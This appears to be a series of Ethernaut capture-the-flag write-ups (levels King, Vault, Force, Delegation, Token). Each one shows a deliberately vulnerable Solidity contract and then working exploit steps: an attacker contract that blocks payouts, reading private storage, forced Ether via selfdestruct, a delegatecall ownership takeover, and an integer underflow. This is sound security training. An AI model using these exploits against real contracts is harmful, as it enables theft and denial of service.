Ethernaut - 9. King

Difficulty: 🌕🌕🌕🌑🌑

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

Writeup

There is the warning from Solidity document :

When Ether is sent directly to a contract (without a function call, i.e. sender uses send or transfer) but the receiving contract does not define a receive Ether function or a payable fallback function, an exception will be thrown, sending back the Ether (this was different before Solidity v0.4.0). If you want your contract to receive Ether, you have to implement a receive Ether function (using payable fallback functions for receiving Ether is not recommended, since the fallback is invoked and would not fail for interface confusions on the part of the sender).

If king is a contract that can not receive Ether, king.transfer(msg.value) fails every time it is executed.

1. Get new instance.
2. Call the method

   
    await contract._king()
    // '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'
    // owner address is '0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5' too.
   
   

3. Create a contract without receive and fallback .

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
   
    import './9_King.sol';
   
    contract KingAttacker {
        function attack(address payable _addr) public payable {
            King king = King(_addr);
   
            (bool sent, ) = address(king).call.value(msg.value)("");
            require(sent, "Failed to send value");
        }
    }
   

4. Compile & deploy.
5. Call attack method with the level instance address as the parameter _addr and value 1wei ( the same as state variable prize) .
6. Call the method

   
    await contract._king()
    // Your KingAttacker contract address
   
   

7. Submit instance ξ( ✿＞◡❛)

Reference

• Solidity by example - Sending Ether (transfer, send, call)
• Solidity by example - Call
• Receive Ether Function

Ethernaut - 8. Vault

Difficulty: 🌕🌕🌑🌑🌑

Unlock the vault to pass the level!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Writeup

How can we get private variable password ? Well, There is an important method everyone should know : web3.eth.getStorageAt(...), checkout web3.js document to get details.

State variables marked as private and local variables are still publicly accessible.

1. Get new Instance.
2. Call the method

   
    await contract.locked()
    // true
   
   

3. Call the method

   
    await web3.eth.getStorageAt('0x7B794D77e945A806b2c6Ca41cb4bB6977F37D340', 1);
    // '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
   
   

4. Call web3 method

   
    web3.utils.toAscii('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
    // 'A very strong secret password :)'
   
   

5. Call the method

   
    await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
   
   

6. Call the method

   
    await contract.locked()
    // false
   
   

7. Submit instance ξ( ✿＞◡❛)

Ethernaut - 7. Force

Difficulty: 🌕🌕🌕🌑🌑

Some contracts will simply not take your money ¯_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Things that might help:

• Fallback methods
• Sometimes the best way to attack a contract is with another contract.
• See the Help page above, section “Beyond the console”

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Writeup

The keypoint to complete this level is selfdestruct. After calling selfdestruct method, contract will send all remaining Ether to a designated address. A malicious contract can use selfdestruct to force sending Ether to any contract.

1. Get new Instance.
2. Create a contract

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.16;
   
    contract Force {/*
   
                      MEOW ?
            /\_/\   /
        ____/ o o \
      /~____  =ø= /
    (______)__m_m)
   
    */}
   
    contract ForceAttacker {
        Force force;
   
        // For a contract to be able to receive ether, the constructor function must be marked payable.
        constructor(Force _force) payable { 
            force = Force(_force);
        }
   
        function getBalance() public view returns (uint256) {
          return address(this).balance;
        }
   
        function attack() public {
            address payable addr = payable(address(force));
            selfdestruct(addr);
        }
    }
   

3. Compile & Deploy
4. Click getBalnce button, it will return 1wei.
5. Click attack button. The contract will self-destruct, and the remaining 1wei will be send to Force contract.
6. Submit instance ξ( ✿＞◡❛)

Reference

Solidity by example - Self Destruct

Ethernaut - 6. Delegation

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

• Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
• Fallback methods
• Method ids

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Writeup

1. Get new Instance.
2. Call the method

   
   await contract.sendTransaction({data: web3.eth.abi.encodeFunctionSignature("pwn()")})
   
   

   You can find the detail about encodeFunctionSignature() in there .

3. Submit instance ξ( ✿＞◡❛)

Reference

Solidity by example - delegatecall

Ethernaut - 5.Token

Difficulty: 🌕🌕🌑🌑🌑

The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

• What is an odometer?

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Writeup

There is a famous security pitfall. We can use technique Underoverflow to complete this level.

1. Get new instance.
2. Call the method

   
    await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
   
   

   It will return default balance 20 .

3. Call the method

   
    await contract.transfer('OTHER_ACCOUNT', 1000000)
   
   

4. Call the method

   
    await contract.balanceOf('YOUR_ACCOUNT').then(v=>v.toString())
   
   

   It will return a very big amount.

5. Submit instance ξ( ✿＞◡❛)